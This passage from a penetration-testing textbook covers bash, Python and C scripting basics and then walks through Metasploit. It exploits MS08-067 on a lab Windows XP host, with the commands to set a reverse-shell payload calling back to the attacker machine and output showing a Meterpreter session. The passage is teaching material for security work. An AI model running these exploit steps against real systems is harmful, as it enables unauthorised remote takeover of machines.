If we run the script again with a command line argument, nothing happens. Now let’s add some functionality that is triggered when the user runs
the script with the proper arguments, as shown in Listing 3-3.
#!/bin/bash
if [ "$1" == "" ]
then
echo "Usage: ./pingscript.sh [network]"
echo "example: ./pingscript.sh 192.168.20"
else u
for x in `seq 1 254`; do v
ping -c 1 $1.$x
done w
fi
Listing 3-3: Adding a for loop
After our then statement, we use an else statement u to instruct the
script to run code when the if statement evaluates as false—in this case, if
the user supplies a command line argument. Because we want this script
to ping all possible hosts on the local network, we need to loop through
the numbers 1 through 254 (the possibilities for the final octet of an
IP version 4 address) and run the ping command against each of these
possibilities.
An ideal way to run through sequential possibilities is with a for loop v.
Our for loop, for x in `seq 1 254`; do, tells the script to run the code that
follows for each number from 1 to 254. This will allow us to run one set of
instructions 254 times rather than writing out code for each instance. We
denote the end of a for loop with the instruction done w.
78 Chapter 3
Inside the for loop, we want to ping each of the IP addresses in the network. Using ping’s man page, we find that the -c option will allow us to limit
the number of times we ping a host. We set -c to 1 so that each host will be
pinged just once.
To specify which host to ping, we want to concatenate the first command
line argument (which denotes the first three octets) with the current iteration of the for loop. The full command to use is ping -c 1 $1.$x. Recall
that the $1 denotes the first command line argument, and $x is the current iteration of the for loop. The first time our for loop runs, it will ping
192.168.20.1, then 192.168.20.2, all the way to 192.168.20.254. After iteration 254, our for loop finishes.
When we run our script with the first three octets of our IP address as
the command line argument, the script pings each IP address in the network as shown in Listing 3-4.
[email protected]:~/# ./pingscript.sh 192.168.20
PING 192.168.20.1 (192.168.20.1) 56(84) bytes of data.
64 bytes from 192.168.20.1: icmp_req=1 ttl=255 time=8.31 ms u
--- 192.168.20.1 ping statistics --1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 8.317/8.317/8.317/0.000 ms
PING 192.168.20.2(192.168.20.2) 56(84) bytes of data.
64 bytes from 192.168.20.2: icmp_req=1 ttl=128 time=166 ms
--- 192.168.20.2 ping statistics --1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 166.869/166.869/166.869/0.000 ms
PING 192.168.20.3 (192.168.20.3) 56(84) bytes of data.
From 192.168.20.13 icmp_seq=1 Destination Host Unreachable v
--- 192.168.20.3 ping statistics --1 packets transmitted, 0 received, +1 errors, 100% packet loss, time 0ms
--snip-Listing 3-4: Running the ping sweep script
Your results will vary based on the systems in your local network. Based
on this output, I can tell that in my network, the host 192.168.20.1 is up, and
I received an ICMP reply u. On the other hand, the host 192.168.20.3 is not
up, so I received a host unreachable notification v.
Streamlining the Results
All this information printed to screen is not very nice to look at, and anyone
who uses our script will need to sift through a lot of information to determine which hosts in the network are up. Let’s add some additional functionality to streamline our results.
Programming 79
In the previous chapter we covered grep, which searches for and
matches specific patterns. Let’s use grep to filter the script’s output, as
shown in Listing 3-5.
#!/bin/bash
if [ "$1" == "" ]
then
echo "Usage: ./pingscript.sh [network]"
echo "example: ./pingscript.sh 192.168.20"
else
for x in `seq 1 254`; do
ping -c 1 $1.$x | grep "64 bytes" u
done
fi
Listing 3-5: Using grep to filter results
Here we look for all instances of the string 64 bytes u, which occurs
when an ICMP reply is received when pinging a host. If we run the script
with this change, we see that only lines that include the text 64 bytes are
printed to the screen, as shown here.
[email protected]:~/#
64 bytes from
64 bytes from
64 bytes from
--snip--
./pingscript.sh 192.168.20
192.168.20.1: icmp_req=1 ttl=255 time=4.86 ms
192.168.20.2: icmp_req=1 ttl=128 time=68.4 ms
192.168.20.8: icmp_req=1 ttl=64 time=43.1 ms
We get indicators only for live hosts; hosts that do not answer are not
printed to the screen.
But we can make this script even nicer to work with. The point of our
ping sweep is to get a list of live hosts. By using the cut command discussed
in Chapter 2, we can print the IP addresses of only the live hosts, as shown in
Listing 3-6.
#!/bin/bash
if [ "$1" == "" ]
then
echo "Usage: ./pingscript.sh [network]"
echo "example: ./pingscript.sh 192.168.20"
else
for x in `seq 1 254`; do
ping -c 1 $1.$x | grep "64 bytes" | cut -d" " -f4 u
done
fi
Listing 3-6: Using cut to further filter results
We can use a space as the delimiter and grab the fourth field, our IP
address, as shown at u.
80 Chapter 3
Now we run the script again as shown here.
[email protected]:~/mydirectory# ./pingscript.sh 192.168.20
192.168.20.1:
192.168.20.2:
192.168.20.8:
--snip--
Unfortunately, we see a trailing colon at the end of each line. The results
would be clear enough to a user, but if we want to use these results as input
for any other programs, we need to delete the trailing colon. In this case,
sed is the answer.
The sed command that will delete the final character from each line is
sed 's/.$//', as shown in Listing 3-7.
#!/bin/bash
if [ "$1" == "" ]
then
echo "Usage: ./pingscript.sh [network]"
echo "example: ./pingscript.sh 192.168.20"
else
for x in `seq 1 254`; do
ping -c 1 $1.$x | grep "64 bytes" | cut -d" " -f4 | sed 's/.$//'
done
fi
Listing 3-7: Using sed to drop the trailing colon
Now when we run the script, everything looks perfect, as shown here.
[email protected]:~/# ./pingscript.sh 192.168.20
192.168.20.1
192.168.20.2
192.168.20.8
--snip--
NOTE Of course, if we want to output the results to a file instead of to the screen, we can use
the >> operator, covered in Chapter 2, to append each live IP address to a file. Try
automating other tasks in Linux to practice your Bash scripting skills.
Python Scripting
Linux systems typically come with interpreters for other scripting languages
such as Python and Perl. Interpreters for both languages are included in
Kali Linux. In Chapters 16 through 19, we’ll use Python to write our own
exploit code. For now, let’s write a simple Python script and run it in Kali
Linux just to demonstrate the basics of Python scripting.
Programming 81
For this example we’ll do something similar to our first Netcat example
in Chapter 2: We’ll attach to a port on a system and see if the port is listening. A starting point for our script is shown here.
#!/usr/bin/python u
ip = raw_input("Enter the ip: ") v
port = input("Enter the port: ") w
In the previous section, the first line of our script told the terminal to
use Bash to interpret the script. We do the same thing here, pointing to the
Python interpreter installed on Kali Linux at /usr/bin/python u.
We’ll begin by prompting the user for data and recording input into
variables. The variables will store the input for use later in the script. To
take input from the user, we can use the Python function raw_input v. We
want to save our port as an integer, so we use a similar built-in Python function, input, at w. Now we ask the user to input an IP address and a port to test.
After saving the file, use chmod to make the script executable before running the script, as shown here.
[email protected]:~/mydirectory# chmod 744 pythonscript.py
[email protected]:~/mydirectory# ./pythonscript.py
Enter the ip: 192.168.20.10
Enter the port: 80
When you run the script, you’re prompted for an IP address and a port,
as expected.
Now we will add in some functionality to allow us to use the user’s input
to connect to the chosen system on the selected port to see if it is open
(Listing 3-8).
#!/usr/bin/python
import socket u
ip = raw_input("Enter the ip: ")
port = input("Enter the port: ")
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) v
if s.connect_ex((ip, port)): w
print "Port", port, "is closed" x
else: y
print "Port", port, "is open"
Listing 3-8: Adding port-scanning functionality
To perform networking tasks in Python, we can include a library called
socket using the command import socket u. The socket library does the heavy
lifting for setting up a network socket.
The syntax for creating a TCP network socket is socket.socket(socket.AF_
INET, socket.SOCK_STREAM). We set a variable equal to this network socket at v.
82 Chapter 3
Connecting to a Port
When creating a socket to connect to a remote port, the first candidate
available from Python is the socket function connect. However, there is
a better candidate for our purposes in the similar function, connect_ex.
According to the Python documentation, connect_ex is like connect except
that it returns an error code instead of raising an exception if the connection fails. If the connection succeeds, connect_ex will return the value 0.
Because we want to know whether the function can connect to the port,
this return value seems ideal to feed into an if statement.
if Statements in Python
When building if statements in Python, we enter if condition:. In Python the
statements that are part of a conditional or loop are denoted with indentations rather than ending markers, as we saw in Bash scripting. We can
instruct our if statement to evaluate the returned value of the connection
of our TCP socket to the user-defined IP address and port with the command if s.connect_ex((ip, port)): w. If the connection succeeds, connect_ex
will return 0, which will be evaluated by the if statement as false. If the connection fails, connect_ex will return a positive integer, or true. Thus, if our if
statement evaluates as true, it stands to reason that the port is closed, and
we can present this to the user using the Python print command at x. And,
as in the Bash scripting example, if connect_ex returns 0 at y, we can use an
else statement (the syntax is else: in Python) to instead inform the user
that the tested port is open.
Now, run the updated script to test whether TCP port 80 is running on
the Windows XP target host as shown here.
[email protected]:~/# ./pythonscript.py
Enter the ip: 192.168.20.10
Enter the port: 80
Port 80 is open
According to our script, port 80 is open. Now run the script again
against port 81.
[email protected]:~/# ./pythonscript.py
Enter the ip: 192.168.20.10
Enter the port: 81
Port 81 is closed
This time, the script reports that port 81 is closed.
NOTE We will look at checking open ports in Chapter 5, and we will return to Python scripting when we study exploit development. Kali Linux also has interpreters for the Perl
and Ruby languages. We will learn a little bit of Ruby in Chapter 19. It never hurts
to know a little bit of multiple languages. If you are up for a challenge, see if you can
re-create this script in Perl and Ruby.
Programming 83
Writing and Compiling C Programs
Time for one more simple programming example, this time in the C programming language. Unlike scripting languages such as Bash and Python,
C code must be compiled and translated into machine language that the
CPU can understand before it is run.
Kali Linux includes the GNU Compiler Collection (GCC), which will
allow us to compile C code to run on the system. Let’s create a simple C program that says hello to a command line argument, as shown in Listing 3-9.
#include <stdio.h> u
int main(int argc, char *argv[]) v
{
if(argc < 2) w
{
printf("%s\n", "Pass your name as an argument"); x
return 0; y
}
else
{
printf("Hello %s\n", argv[1]); z
return 0;
}
}
Listing 3-9: “Hello World” C program
The syntax for C is a bit different from that of Python and Bash. Because
our code will be compiled, we don’t need to tell the terminal which interpreter to use at the beginning of our code. First, as with our Python example,
we import a C library. In this case we’ll import the stdio (short for standard
input and output) library, which will allow us to accept input and print
output to the terminal. In C, we import stdio with the command #include
<stdio.h> u.
Every C program has a function called main v that is run when the
program starts. Our program will take a command line argument, so we
pass an integer argc and a character array argv to main. argc is the argument
count, and argv is the argument vector, which includes any command line
arguments passed to the program. This is just standard syntax for C programs that accept command line arguments. (In C, the beginning and end
of functions, loops, and so on are denoted by braces {}.)
First, our program checks to see if a command line argument is present. The argc integer is the length of the argument array; if it is less than
two (the program name itself and the command line argument), then a
command line argument has not been given. We can use an if statement
to check w.
The syntax for if is also a little different in C. As with our Bash script, if
a command line argument is not given, we can prompt the user with usage
information x. The printf function allows us to write output to the terminal. Also note that statements in C are finished with a semicolon (;). Once
84 Chapter 3
we’re through with our program, we use a return statement y to finish the
function main. If a command line argument is supplied, our else statement
instructs the program to say hello z. (Be sure to use braces to close all of
your loops and the main function.)
Before we can run our program, we need to compile it with GCC as
shown here. Save the program as cprogram.c.
[email protected]:~# gcc cprogram.c -o cprogram
Use the -o option to specify the name for the compiled program and
feed your C code to GCC. Now run the program from your current directory. If the program is run with no arguments, you should see usage information as shown here.
[email protected]:~# ./cprogram
Pass your name as an argument
If instead we pass it an argument, in this case our name, the program
tells us hello.
[email protected]:~# ./cprogram georgia
Hello georgia
NOTE We will look at another C programming example in Chapter 16, where a little bit of
sloppy C coding leads to a buffer overflow condition, which we will exploit.
Summary
In this chapter we’ve looked at simple programs in three different languages.
We looked at basic constructs, such as saving information in variables for
later use. Additionally, we learned how to use conditionals, such as if statements, and iterations, such as for loops, to have the program make decisions
based on the provided information. Though the syntax used varies from programming language to programming language, the ideas are the same.
Programming 85
4
Using the
Me ta sploit Fr a me work
In subsequent chapters, we’ll take an in-depth look at
the phases of penetration testing, but in this chapter,
we’ll dive right in and get some hands-on experience
with exploitation. Though the information-gathering
and reconnaissance phases often have more bearing on a pentest’s success than exploitation does, it’s
more fun to gather shells (a remote connection to
an exploited target) or trick users into entering their
company credentials into your cloned website.
In this chapter we’ll work with the Metasploit Framework, a tool that
has become the de facto standard for penetration testers. First released in
2003, Metasploit has reached cult status in the security community. Though
Metasploit is now owned by the security company Rapid7, an open source
edition is still available, with development largely driven by the security
community.
Metasploit’s modular and flexible architecture helps developers efficiently create working exploits as new vulnerabilities are discovered. As
you’ll see, Metasploit is intuitive and easy to use, and it offers a centralized
way to run trusted exploit code that has been vetted for accuracy by the
security community.
Why use Metasploit? Say you’ve discovered a vulnerability in your client
environment—the Windows XP system at 192.168.20.10 is missing Microsoft
security bulletin MS08-067. As a penetration tester, it is up to you to exploit
this vulnerability, if possible, and assess the risk of a compromise.
One approach might be to set up in your lab a Windows XP system that
is also missing this patch, attempt to trigger the vulnerability, and develop a
working exploit. But developing exploits by hand takes both time and skill,
and the window of opportunity for your pentest may be closing.
You could instead search for code that exploits this vulnerability on
the Internet. Sites like Packet Storm Security (http://www.packetstormsecurity
.com/), SecurityFocus (http://www.securityfocus.com/), and Exploit Database
(http://www.exploit-db.com/) provide repositories of known exploit code.
But be forewarned: Not all public exploit code does what it claims to do.
Some exploit code may destroy the target system or even attack your system
instead of the target. You should always be vigilant when running anything
you find online and read through the code carefully before trusting it. Addi­
tionally, the public exploits you find may not meet your needs right out of
the box. You may need to do some additional work to port them to your
pentest environment.
Whether we develop an exploit from scratch or use a public one as a
base, we will still need to get that exploit to work on your pentest. Our time
will probably be better spent on tasks that are difficult to automate, and
luckily, we can use Metasploit to make exploiting known vulnerabilities
such as MS08-067 quick and painless.
Starting Metasploit
Let’s start Metasploit and attack our first system. In Kali Linux, Meta­sploit
is in our path, so we can start it anywhere on the system. But before you
start Metasploit, you will want to start the PostgreSQL database, which
Metasploit will use to track what you do.
[email protected]:~# service postgresql start
Now you’re ready to start the Metasploit service. This command ­creates
a PostgreSQL user called msf3 and a corresponding database to store our
data. It also starts Metasploit’s remote procedure call (RPC) server and web
server.
[email protected]:~# service metasploit start
88 Chapter 4
There are multiple interfaces for using Metasploit. In this chapter
we’ll use Msfconsole, the Metasploit text-based console, and Msfcli, the
command line interface. Either interface can be used to run Metasploit
modules, though I tend to spend most of my time in Msfconsole. Start the
console by entering msfconsole.
[email protected]:~# msfconsole
Don’t be alarmed if Msfconsole appears to hang for a minute or two;
it’s loading the Metasploit module tree on the fly. Once it’s finished, you’ll
be greeted by some clever ASCII art, a version listing and other details, and
an msf > prompt (see Listing 4-1).
,
,
/
\
((__---,,,---__))
(_) O O (_)_________
\ _ /
|\
o_o \
M S F
| \
\
_____ | *
|||
WW|||
|||
|||
Large pentest? List, sort, group, tag and search your hosts and services
in Metasploit Pro -- type 'go_pro' to launch it now.
=[ metasploit v4.8.2-2014010101 [core:4.8 api:1.0]
+ -- --=[ 1246 exploits - 678 auxiliary - 198 post
+ -- --=[ 324 payloads - 32 encoders - 8 nops
msf >
Listing 4-1: Starting Msfconsole
Notice in Listing 4-1 that, as of this writing, Metasploit had 1,246 exploits,
678 auxiliary modules, and so forth. No doubt by the time you read this,
these numbers will be even larger. New modules are always being added to
Metasploit, and because Metasploit is a community-driven project, anyone
can submit modules for inclusion in the Metasploit Framework. (In fact, in
Chapter 19, you’ll learn how to write your own modules and gain immortality as a Metasploit author.)
If you’re ever stuck when using Msfconsole, enter help for a list of available commands and a description of what they do. For more detailed information about a specific command, including usage, enter help <command name>.
For example, the help information for using Metasploit’s route command is shown in Listing 4-2.
Using the Metasploit Framework
89
msf > help route
Usage: route [add/remove/get/flush/print] subnet netmask [comm/sid]
Route traffic destined to a given subnet through a supplied session.
The default comm is Local...
Listing 4-2: Help information in Metasploit
Finding Metasploit Modules
Let’s look at how we might use Metasploit to exploit an unpatched vulnerability in our Windows XP target. We will exploit the vulnerability patched
in Microsoft Security Bulletin MS08-067. A natural question you may have
is, how do we know this patch is missing on our Windows XP target? In
subsequent chapters, we will walk through the steps of discovering this vulnerability as well as several others on our target systems. For now, just trust
me that this is the vulnerability we would like to exploit.
MS08-067 patched an issue in the netapi32.dll that could allow attackers to use a specially crafted remote procedure call request via the Server
Message Block (SMB) service to take over a target system. This vulnerability
is particularly dangerous because it does not require an attacker to authenticate to the target machine before running the attack. MS08-067 gained
eternal infamy as the vulnerability exploited by the Conficker worm, which
was widely reported in the media.
Now, if you’re familiar with Microsoft patches, you may recognize that
this one is from 2008. Considering its age, you may be surprised to learn
how often the vulnerability it patched can still lead to success in penetration testing, even today, particularly when assessing internal networks.
Metasploit’s MS08-067 module is simple to use and has a high success rate,
making it an ideal first example. Our first step in using Metasploit is to find
a module that exploits this particular vulnerability. We have a few options.
Usually, a simple Google search will find what you need, but Metasploit
also has an online database of modules (http://www.rapid7.com/db/modules/)
and a built-in search function that you can use to search for the correct
modules.
The Module Database
You can use the Metasploit search page to match Metasploit modules to
­v ulnerabilities by Common Vulnerabilities and Exposures (CVE) number, Open Sourced Vulnerability Database (OSVDB) ID, Bugtraq ID, or
Microsoft Security Bulletin, or you can search the full text of the module
information for a string. Search for MS08-067 in the Microsoft Security
Bulletin ID field, as shown in Figure 4-1.
90 Chapter 4
Figure 4-1: Searching the Metasploit Auxiliary Module & Exploit Database
The results of the search, shown in Figure 4-2, tell us the module name
we need as well as information about the module (which we’ll discuss in the
next section).
Figure 4-2: MS08-067 Metasploit module page
The full name of the Metasploit module for the MS08-067 security
­ ulletin is shown in the URI bar. In the modules directory of Metasploit,
b
this exploit is exploit/windows/smb/ms08_067_netapi.
Built-In Search
You can also use Metasploit’s built-in search function to find the correct
module name, as shown in Listing 4-3.
Using the Metasploit Framework
91
msf > search ms08-067
Matching Modules
================
Name
---exploit/windows/smb/ms08_067_netapi
Disclosure Date
--------------2008-10-28 00:00:00 UTC
Rank
---great
Description
----------Microsoft Server
Service Relative Path
Stack Corruption
Listing 4-3: Searching for a Metasploit module
Again we find that the correct module name for this vulnerability
is exploit/windows/smb/ms08_067_netapi. Once you’ve identified a module to use, enter the info command with the module name, as shown in
Listing 4-4.
msf > info exploit/windows/smb/ms08_067_netapi
uName:
vModule:
Version:
wPlatform:
xPrivileged:
License:
yRank:
Microsoft Server Service Relative Path Stack Corruption
exploit/windows/smb/ms08_067_netapi
0
Windows
Yes
Metasploit Framework License (BSD)
Great
z Available targets:
Id Name
-- ---0
Automatic Targeting
1
Windows 2000 Universal
2
Windows XP SP0/SP1 Universal
--snip-67 Windows 2003 SP2 Spanish (NX)
{ Basic options:
Name
Current Setting
-----------------RHOST
RPORT
445
SMBPIPE BROWSER
Required
-------yes
yes
yes
Description
----------The target address
Set the SMB service port
The pipe name to use (BROWSER, SRVSVC)
| Payload information:
Space: 400
Avoid: 8 characters
} Description:
This module exploits a parsing flaw in the path canonicalization
code of NetAPI32.dll through the Server Service. This module is
capable of bypassing NX on some operating systems and service packs.
The correct target must be used to prevent the Server Service (along
with a dozen others in the same process) from crashing. Windows XP
92 Chapter 4
targets seem to handle multiple successful exploitation events, but
2003 targets will often crash or hang on subsequent attempts. This
is just the first version of this module, full support for NX bypass
on 2003, along with other platforms, is still in development.
~ References:
http://www.microsoft.com/technet/security/bulletin/MS08-067.mspx
Listing 4-4: Information listing in Metasploit
This info page tells us a lot.
•
•
•
•
•
•
•
•
•
First we see some basic information about the module, including a
descriptive name at u followed by the module name at v. (The version
field formerly denoted the SVN revision for the module, but now that
Metasploit is hosted on GitHub, all modules are set to version 0.)
Platform w tells us that this exploit is for Windows systems.
Privileged x tells us whether this module requires or grants high privileges on the target. The License is set to Metasploit Framework License
(BSD). (Metasploit’s license is a three-clause BSD open source license.)
Rank y lists the exploit’s potential impact on the target. Exploits are
ranked from manual to excellent. An exploit ranked excellent should
never crash a service; memory-corruption vulnerabilities such as
MS08-067 are usually not in this category. Our module is in the great
category, one step down. A great exploit can automatically detect
the correct target and has other features that make it more likely to
succeed.
Available targets z lists operating system versions and patch levels that
the module can exploit. This module has 67 possible targets, including
Windows 2000, Windows 2003, and Windows XP, as well as multiple service and language packs.
Basic options { lists various options for the module that can be set to
make a module better meet our needs. For example, the RHOST option
tells Metasploit the IP address of the target. (We’ll discuss the basic
options in depth in “Setting Module Options” on page 94.)
Payload information | contains information to help Metasploit decide
which payloads it can use with this exploit. Payloads, or shellcode, tell
the exploited system what to do on behalf of the attacker. (The goal of
attacking a target is, of course, to get it to do something on our behalf
that it isn’t supposed to do.) Metasploit’s payload system gives us many
options for what to make the target do.
Description } includes more details about the particular vulnerability
that the module exploits.
References ~ contains a link to online vulnerability database entries. If
you’re ever in doubt about which Metasploit module to use for a vulnerability, start with its info page.
Using the Metasploit Framework
93
Having confirmed that this is the right module, tell Metasploit to use
this module with the command use windows/smb/ms08_067_netapi. You can
drop the exploit/ part of the exploit name; Metasploit will figure out what
you want.
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) >
Now we’re in the context of the exploit module.
Setting Module Options
Having chosen our exploit, we need to give Metasploit some information. As you’ll see throughout this book, Metasploit can aid you in many
aspects of penetration testing, but it isn’t a mind reader . . . yet. To see the
information Metasploit needs from you to run your chosen module, enter
show options (Listing 4-5).
msf
exploit(ms08_067_netapi) > show options
Module options (exploit/windows/smb/ms08_067_netapi):
Name
---uRHOST
vRPORT
wSMBPIPE
Current Setting Required Description
--------------- -------- ----------yes
The target address
445
yes
Set the SMB service port
BROWSER
yes
The pipe name to use (BROWSER, SRVSVC)
Exploit target:
Id Name
-- ---x0 Automatic Targeting
msf
exploit(ms08_067_netapi) >
Listing 4-5: Exploit module options
At the top of the output shown in Listing 4-5 are the module settings
and any default values, whether certain settings are required for the module to run successfully, and a description of each setting.
RHOST
The RHOST option u refers to the remote host we want to exploit. This
option is required because it gives Metasploit a target to attack. We’ll
tell Metasploit to exploit the Windows XP target machine that we set up
in Chapter 1 by changing the RHOST option from blank to our target IP
address. (If you can’t remember what that is, on the Windows XP machine
94 Chapter 4
run ipconfig at the command line to find out.) To set an option enter set
<option to set> <value to set it to>, so in this case, set RHOST 192.168.20.10.
(Remember to use your own Windows XP target’s IP address.) After issuing
this command, running show options again should show that the value of
RHOST is set to 192.168.20.10.
RPORT
RPORT v refers to the remote port to attack. I remember a former manager
of mine who spent a good amount of time looking for port 80—as in trying to locate it physically. Unsatisfied with my explanation that networking
sockets are made entirely of code, I eventually just pointed at the Ethernet
port. The moral of this story is this: A port is just a network socket; it’s not a
physical port. For example, when you browse to www.google.com, a web server
somewhere on the Internet is listening on port 80.
In this case we see that RPORT is set to a default value. Because our exploit
uses the Windows SMB service, the RPORT value should probably be 445, the
default port for SMB. And, as you can see, Metasploit saves us the trouble of
having to set the value by setting the default to 445 (which you can change
if you need to). In our case, we can just leave it alone.
SMBPIPE
Like the RPORT value, keep the default for the SMBPIPE option w as BROWSER.
This will work just fine for our purposes. (SMB pipes allow us to talk to
Windows interprocess communication over a network. We’ll look at finding out which SMB pipes are listening on our target machines later in this
chapter.)
Exploit Target
The Exploit Target is set to 0 Automatic Targeting x. This is the target operating system and version. You can view the available targets on the module’s
info page or just show them with the command show targets (Listing 4-6).
exploit(ms08_067_netapi) > show targets
msf
Exploit targets:
Id Name
-- ---0
Automatic Targeting
1
Windows 2000 Universal
2
Windows XP SP0/SP1 Universal
3
Windows XP SP2 English (AlwaysOn NX)
4
Windows XP SP2 English (NX)
5
Windows XP SP3 English (AlwaysOn NX)
--snip-67 Windows 2003 SP2 Spanish (NX)
Listing 4-6: Exploit targets
Using the Metasploit Framework
95
As you can see in Listing 4-6, this module can attack Windows 2000,
Windows 2003, and Windows XP.
Note
Remember, Microsoft has released patches for all the platforms affected by this bug,
but keeping all systems in an environment up-to-date with Windows patches is easier
said than done. Many of your pentesting clients will be missing some critical updates
in Windows and other software.
We know that our target is running Windows XP SP3 English, so we can
wager that the correct target number is either 5 or 6, but it won’t always be
so easy. Choose Automatic Targeting to tell Metasploit to fingerprint the SMB
service and choose the appropriate target based on the results.
To set a target option, enter set target <target number>. In this case we’ll
leave the module target at the default Automatic Targeting and move on.
Payloads (or Shellcode)
Based on the output of show options command, it looks like everything should
be ready to go at this point, but we’re not quite done yet. We’ve forgotten to
tell our exploit what to do once the target has been exploited. One of the
ways that Metasploit makes things easier is by setting up our payloads for us.
Metasploit has a plethora of payloads, ranging from simple Windows commands to the extensible Metasploit Meterpreter (see Chapter 13 for more
detailed information on Meterpreter). Just select a compatible payload, and
Metasploit will craft your exploit string, including the code to trigger the
vulnerability and the payload to run after exploitation is successful. (We’ll
look at writing exploits by hand in Chapters 16 through 19.)
Finding Compatible Payloads
As of this writing there were 324 payloads in Metasploit, and like exploit
modules, new payloads are added to the Framework regularly. For instance,
as mobile platforms take over the world, payloads for iOS and other smartphones are starting to show up in Metasploit. But, of course, not all 324 payloads are compatible with our chosen exploit. Our Windows system will be a
bit confused if it receives instructions that are meant for an iPhone. To see
compatible payloads, enter show payloads, as shown in Listing 4-7.
msf
exploit(ms08_067_netapi) > show payloads
Compatible Payloads
===================
Name
---generic/custom
generic/debug_trap
generic/shell_bind_tcp
96 Chapter 4
Disclosure Date Rank
--------------- ---normal
normal
normal
Description
----------Custom Payload
Generic x86 Debug Trap
Generic Command Shell, Bind TCP
Inline
generic/shell_reverse_tcp
generic/tight_loop
windows/dllinject/bind_ipv6_tcp
windows/dllinject/bind_nonx_tcp
windows/dllinject/bind_tcp
windows/dllinject/reverse_http
--snip-windows/vncinject/reverse_ipv6_http
windows/vncinject/reverse_ipv6_tcp
--snip-windows/vncinject/reverse_tcp
windows/vncinject/reverse_tcp_allports
windows/vncinject/reverse_tcp_dns
normal Generic Command Shell, Reverse
Inline
normal Generic x86 Tight Loop
normal Reflective DLL Injection, Bind
TCP Stager (IPv6)
normal Reflective DLL Injection, Bind
TCP Stager (No NX or Win7)
normal Reflective DLL Injection, Bind
TCP Stager
normal Reflective DLL Injection, Reverse
HTTP Stager
normal VNC Server (Reflective Injection),
Reverse HTTP Stager (IPv6)
normal VNC Server (Reflective Injection),
Reverse TCP Stager (IPv6)
normal VNC Server (Reflective Injection),
Reverse TCP Stager
normal VNC Server (Reflective Injection),
Reverse All-Port TCP Stager
normal VNC Server (Reflective Injection),
Reverse TCP Stager (DNS)
Listing 4-7: Compatible payloads
If you forget to set a payload, you may find that, miraculously, the exploit
module will just choose the default payload and associated settings and run
it anyway. Still, you should get in the habit of manually setting a payload and
its options because the default won’t always fit your needs.
A Test Run
Let’s keep things simple and send off our exploit with the default payload
options first, just to see how things work. Enter exploit to tell Metasploit to
run the module, as shown in Listing 4-8.
msf
exploit(ms08_067_netapi) > exploit
[*] Started reverse handler on 192.168.20.9:4444
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] Attempting to trigger the vulnerability...
[*] Sending stage (752128 bytes) to 192.168.20.10
[*] Meterpreter session 1 opened (192.168.20.9:4444 -> 192.168.20.10:1334) at
2015-08-31 07:37:05 -0400
meterpreter >
Listing 4-8: Running the exploit
Using the Metasploit Framework
97
As you can see, we end up with a Meterpreter session. Meterpreter is
short for meta-interpreter, Metasploit’s unique payload. I often describe it as
a shell on steroids. It can do everything a command shell can do and much,
much more. We’ll cover Meterpreter in depth in Chapter 13, but to get a
head start, enter help in the Meterpreter console for a list of Meterpreter’s
commands.
Note
Another thing to note about the default options is that Metasploit uses the port 4444.
In our lab there is nothing wrong with this. It will work just fine. However, on real
engagements, if your client is using even primitive intrusion-prevention software, it
may take note of traffic on port 4444 and say, “Hey, you are Metasploit, go away!”
and drop your connection.
For now, let’s close our Meterpreter session and learn more about selecting payloads manually. As useful as Meterpreter is, you may find yourself
in situations where it is not the ideal payload to meet your needs. Type exit
into your Meterpreter prompt to return to the regular Metasploit console.
meterpreter > exit
[*] Shutting down Meterpreter...
[*] Meterpreter session 1 closed.
msf exploit(ms08_067_netapi) >
Reason: User exit
Types of Shells
In the list of compatible payloads shown in Listing 4-7, you see a range of
options including command shells, Meterpreter, a speech API, or execution
of a single Windows command. Meterpreter or otherwise, shells fall into two
categories: bind and reverse.
Bind Shells
A bind shell instructs the target machine to open a command shell and listen
on a local port. The attack machine then connects to the target machine on
the listening port. However, with the advent of firewalls, the effectiveness
of bind shells has fallen because any correctly configured firewall will block
traffic to some random port like 4444.
Reverse Shells
A reverse shell, on the other hand, actively pushes a connection back to the
attack machine rather than waiting for an incoming connection. In this
case, on our attack machine we open a local port and listen for a connection from our target because this reverse connection is more likely to make
it through a firewall.
98 Chapter 4
Note
You may be thinking, “Was this book written in 2002 or something? My firewall has
egress filtering.” Modern firewalls allow you to stop outbound connections as well as
inbound ones. It would be trivial to stop a host in your environment from connecting
out, for instance, to port 4444. But say I set up my listener on port 80 or port 443.
To a firewall, that will look like web traffic, and you know you have to let your users
look at Facebook from their workstations or there would be mutiny and pandemonium
on all sides.
Setting a Payload Manually
Let’s select a Windows reverse shell for our payload. Set a payload the same
way you set the RHOST option: set payload <payload to use>.
msf exploit(ms08_067_netapi) > set payload windows/shell_reverse_tcp
payload => windows/shell_reverse_tcp
Because this is a reverse shell, we need to tell the target where to
send the shell; specifically, we need to give it the IP address of the attack
machine and the port we will listen on. Running show options again, shown
in Listing 4-9, displays the module as well as the payload options.
exploit(ms08_067_netapi) > show options
msf
Module options (exploit/windows/smb/ms08_067_netapi):
Name
---RHOST
RPORT
SMBPIPE
Current Setting
--------------192.168.20.10
445
BROWSER
Required
-------yes
yes
yes
Description
----------The target address
Set the SMB service port
The pipe name to use (BROWSER, SRVSVC)
Payload options (windows/shell_reverse_tcp):
Name
---EXITFUNC
uLHOST
LPORT
Current Setting
--------------thread
4444
Required
-------yes
yes
yes
Description
----------Exit technique: seh, thread, process, none
The listen address
The listen port
Exploit target:
Id
-0
Name
---Automatic Targeting
Listing 4-9: Module options with a payload
Using the Metasploit Framework
99
LHOST u is our local host on the Kali machine, the IP address we want
our target machine to connect back to. To find the IP address (if you have
forgotten it), enter the Linux ifconfig command directly into Msfconsole.
msf exploit(ms08_067_netapi) > ifconfig
[*] exec: ifconfig
eth0
Link encap:Ethernet HWaddr 00:0c:29:0e:8f:11
inet addr:192.168.20.9 Bcast:192.168.20.255 Mask:255.255.255.0
--snip--
Now set the LHOST option with set LHOST 192.168.20.9. Leave the defaults
for LPORT, for the local port to connect back to, as well as for EXITFUNC, which
tells Metasploit how to exit. Now enter exploit, shown in Listing 4-10, to
send our exploit off again, and wait for the shell to appear.
msf
[*]
[*]
[*]
[*]
[*]
[*]
exploit(ms08_067_netapi) > exploit
Started reverse handler on 192.168.20.9:4444 u
Automatically detecting the target...
Fingerprint: Windows XP - Service Pack 3 - lang:English
Selected Target: Windows XP SP3 English (AlwaysOn NX) v
